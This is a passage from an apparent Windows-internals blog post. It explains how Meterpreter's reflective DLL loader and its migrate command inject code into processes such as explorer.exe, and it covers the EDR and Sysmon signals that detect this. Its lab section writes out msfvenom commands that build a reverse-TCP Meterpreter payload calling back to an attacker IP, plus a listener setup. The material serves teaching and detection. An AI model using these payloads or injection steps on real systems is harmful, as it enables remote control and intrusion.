β”‚ Writes DLL bytes into allocated region (raw, unloaded) β”‚
β”‚ ↓ β”‚
β”‚ Jumps to ReflectiveLoader export inside those bytes β”‚
β”‚ ↓ β”‚
β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚ β”‚ ReflectiveLoader runs: β”‚ β”‚
β”‚ β”‚ β”‚ β”‚
β”‚ β”‚ [0] call/pop β†’ finds own base address β”‚ β”‚
β”‚ β”‚ [0.5] PEB walk β†’ finds kernel32 β†’ resolves β”‚ β”‚
β”‚ β”‚ VirtualAlloc, LoadLibraryA, β”‚ β”‚
β”‚ β”‚ GetProcAddress β”‚ β”‚
β”‚ β”‚ [1] VirtualAlloc(SizeOfImage) β†’ new_base β”‚ β”‚
β”‚ β”‚ [2] Copy PE headers to new_base β”‚ β”‚
β”‚ β”‚ [3] Copy all sections to new_base β”‚ β”‚
β”‚ β”‚ [4] Apply base relocations β”‚ β”‚
β”‚ β”‚ [5] Resolve IAT (LoadLibraryA+GetProcAddress)β”‚ β”‚
β”‚ β”‚ [6] Call DllMain(DLL_PROCESS_ATTACH) β”‚ β”‚
β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β”‚ ↓ β”‚
β”‚ Meterpreter initialises β†’ C2 channel established β”‚
β”‚ ↓ β”‚
β”‚ meterpreter > ← you're in β”‚
β”‚ β”‚
β”‚ What NEVER happened: β”‚
β”‚ βœ— No file written to disk β”‚
β”‚ βœ— No NtOpenFile call β”‚
β”‚ βœ— No LdrLoadDll call β”‚
β”‚ βœ— No entry in PEB InMemoryOrderModuleList β”‚
β”‚ βœ— OS loader has no idea this DLL exists β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Chapter 6: How migrate Worksβ€Šβ€”β€ŠMoving Into a Better Neighbourhood

You’ve got your Meterpreter session running inside meter.exe. That’s your processβ€Šβ€”β€Šthe one the target launched when they ran your payload. Problem is, meter.exe is suspicious. The user might close it. It might get flagged. You want to move into something more permanent and trustworthy.

That’s what migrateΒ does.

Terminal window
meterpreter > migrate -N explorer.exe

Under theΒ hood:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ migrate sequence β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ β”‚
β”‚ 1. OpenProcess(explorer.exe PID, PROCESS_ALL_ACCESS) β”‚
β”‚ β†’ get a handle to explorer.exe β”‚
β”‚ β”‚
β”‚ 2. VirtualAllocEx(explorer_handle, SizeOfImage, β”‚
β”‚ MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
β”‚ β†’ allocate memory INSIDE explorer.exe's address spaceβ”‚
β”‚ β”‚
β”‚ 3. WriteProcessMemory(explorer_handle, allocation, β”‚
β”‚ meterpreter_dll_bytes, size) β”‚
β”‚ β†’ write our DLL bytes into explorer's memory β”‚
β”‚ β”‚
β”‚ 4. CreateRemoteThread(explorer_handle, ReflectiveLoader)β”‚
β”‚ β†’ create a thread in explorer that runs our loader β”‚
β”‚ β”‚
β”‚ 5. ReflectiveLoader runs INSIDE explorer.exe β”‚
β”‚ β†’ same 7 steps as before β”‚
β”‚ β†’ Meterpreter re-initialises inside explorer β”‚
β”‚ β”‚
β”‚ 6. Old session (in meter.exe) closes β”‚
β”‚ New session (in explorer.exe) opens β”‚
β”‚ β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

If you read the Process Hollowing blogβ€Šβ€”β€Ševery single API in steps 1–4 is familiar. OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread. Same primitives, different goal. Hollowing replaces a process’s code. Migration adds Meterpreter to a running process alongside its existingΒ code.

After migration, Meterpreter lives inside explorer.exe. Explorer is long-lived. It has network access in many configurations. It looks completely normal doing… explorer things. Nobody questions explorer making network connections the way they’d question meter.exe doingΒ it.

This is why migrate to explorer.exe or svchost.exe is standard post-exploitation hygiene.

Chapter 7: Detectionβ€Šβ€”β€ŠYou’re Stealthy, Not Invisible

Here’s the hard truth: reflective injection is hard to detect with traditional tools. It’s not hard to detect with the rightΒ tools.

Signal 1β€Šβ€”β€ŠMEM_PRIVATE Executable Memory With No BackingΒ File

This is the biggest one. Understand the difference between two types ofΒ memory:

MEM_IMAGE β†’ memory mapped from a file on disk
β†’ has a file path in the VAD (Virtual Address Descriptor) tree
β†’ what ALL legitimate DLLs look like
β†’ Process Hacker shows a file path next to it
MEM_PRIVATE β†’ memory allocated with VirtualAlloc
β†’ no backing file, no file path
β†’ what Meterpreter's DLL region looks like
β†’ Process Hacker shows a BLANK "File" column

In Process Hacker: open the target process β†’ Memory tab β†’ sort by Protection β†’ look for executable (EXECUTE_READ or EXECUTE_READWRITE) regions with blank fileΒ paths.

That blank entry in notepad.exe is your Meterpreter.

EDRs continuously scan for exactly this pattern. It is the single strongest signal of reflective injection.

Signal 2β€Šβ€”β€ŠThe PEBΒ Gap

Reflective loader never calls LdrLoadDll. So Meterpreter’s DLL is never registered in InMemoryOrderModuleList.

Process Hacker Modules tab β†’ reads the PEB module list β†’ Meterpreter NOT here
Process Hacker Memory tab β†’ reads the VAD tree β†’ Meterpreter IS here (as MEM_PRIVATE)

The gap between those two lists is the exact footprint of reflective injection. Advanced EDRs cross-reference them continuously.

Signal 3β€Šβ€”β€ŠPAGE_EXECUTE_READWRITE (The Big RedΒ Flag)

The reflective loader allocates memory as RWXβ€Šβ€”β€Šreadable, writable, AND executable. In the sameΒ region.

Legitimate Windows behaviour almost never does this. YourΒ .text section is PAGE_EXECUTE_READβ€Šβ€”β€Šyou can execute it but not write to it (that’s a security feature). The only legitimate exceptions are JIT compilers in browsers and theΒ .NETΒ CLR.

An RWX region in notepad.exe? That’s Meterpreter.

Better implementations do change to PAGE_EXECUTE_READ after loading. But the allocation event still firesβ€Šβ€”β€Šand EDRs watch allocation permission patterns.

Signal 4β€Šβ€”β€ŠThe migrate EventΒ Sequence

migrate generates a very specific sequence of telemetry events in tight time correlation:

Timeline of events during migrate:
─────────────────────────────────────────────────
T+0.000s Sysmon Event 10: meter.exe opens explorer.exe
(with PROCESS_VM_WRITE | PROCESS_VM_OPERATION access)
T+0.001s Sysmon Event 8: CreateRemoteThread in explorer.exe
(thread start address = inside a MEM_PRIVATE region)
─────────────────────────────────────────────────
A process writing to another process and immediately
creating a thread in it = textbook injection signature.

A single SIEM rule correlating Events 10 and 8 within a 5-second window catches migrate almost everyΒ time.

Labβ€Šβ€”β€ŠSee ItΒ Yourself

What you need: Kali with Metasploit, Windows lab VM, Process Hacker, WinDbg, CFFΒ Explorer

Lab 1β€Šβ€”β€ŠFind Meterpreter Living inΒ Memory

Generate a stageless payload onΒ Kali:

Terminal window
msfvenom -p windows/x64/meterpreter_reverse_tcp \
LHOST=<your_kali_ip> \
LPORT=4444 \
-f exe -o meter.exe

Start a listener:

Terminal window
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST <your_kali_ip>
set LPORT 4444
run

Run meter.exe on your Windows VM. Get the session. Then on the WindowsΒ VM:

  • Open Process Hacker β†’ find meter.exe β†’ right-click β†’ Properties β†’ MemoryΒ tab
  • Sort by the Protection column
  • Look for a region marked RWX or RX with nothing in the FileΒ column

Questions to answer yourself:

  • What type is that regionβ€Šβ€”β€ŠMEM_PRIVATE or MEM_IMAGE?
  • Does it show up in the ModulesΒ tab?
  • What is its baseΒ address?

Lab 2β€Šβ€”β€ŠThe PEB GapΒ (WinDbg)

Attach WinDbg to the meter.exe process.Β Run:

!peb

Read the loaded module list it prints. Scan for Meterpreter. It won’t beΒ there.

Now run:

!address -f:MEM_PRIVATE

Find executable private memory regions. You’ll see the Meterpreter allocation. In memory, fully functional, completely invisible to theΒ PEB.

The gap between those two outputs = the footprint of reflective injection.

Lab 3β€Šβ€”β€ŠSee Relocations in CFFΒ Explorer

Open C:\Windows\System32\version.dll in CFF Explorer:

  • Optional Header β†’ find Image Baseβ€Šβ€”β€Šwrite itΒ down
  • Section Headers β†’ findΒ .reloc sectionβ€Šβ€”β€Šsee how large itΒ is
  • Now open Process Hacker β†’ Modules tab β†’ find version.dll β†’ look at its actual loadΒ address

Calculate:

delta = actual_load_address - ImageBase

This delta is what the OS loader computed and added to every relocation entry when loading this DLL. The reflective loader computes this exact same number for Meterpreter’s DLL atΒ runtime.

The BiggerΒ Picture

Let’s zoomΒ out.

The reflective loader isn’t magic. It isn’t some mystical bypass that exploits a Windows vulnerability. It’s just a reimplementation of five things ntdll.dll already doesβ€Šβ€”β€Šwritten in position-independent code, embedded inside the DLLΒ itself.

Find yourself. Find kernel32. Allocate memory. Copy sections. Patch relocations. Resolve imports. CallΒ DllMain.

Every step maps directly to something Windows normally does with a file. The reflective loader does the same steps without theΒ file.

That’s the insight worth taking from this entireΒ blog:

Meterpreter doesn’t bypass the loading process. It replacesΒ it.

And once you understand what that loading process actually isβ€Šβ€”β€Šwhat LoadLibrary does under the hood, why relocations exist, how the IAT worksβ€Šβ€”β€Šthe reflective loader becomes completely readable. There’s no mystery left. Just Windows internals applied very cleverly.

This blog is part of an ongoing Windows internals series. Every post builds on the previous oneβ€Šβ€”β€Šstart from Blog 1 for the full foundation.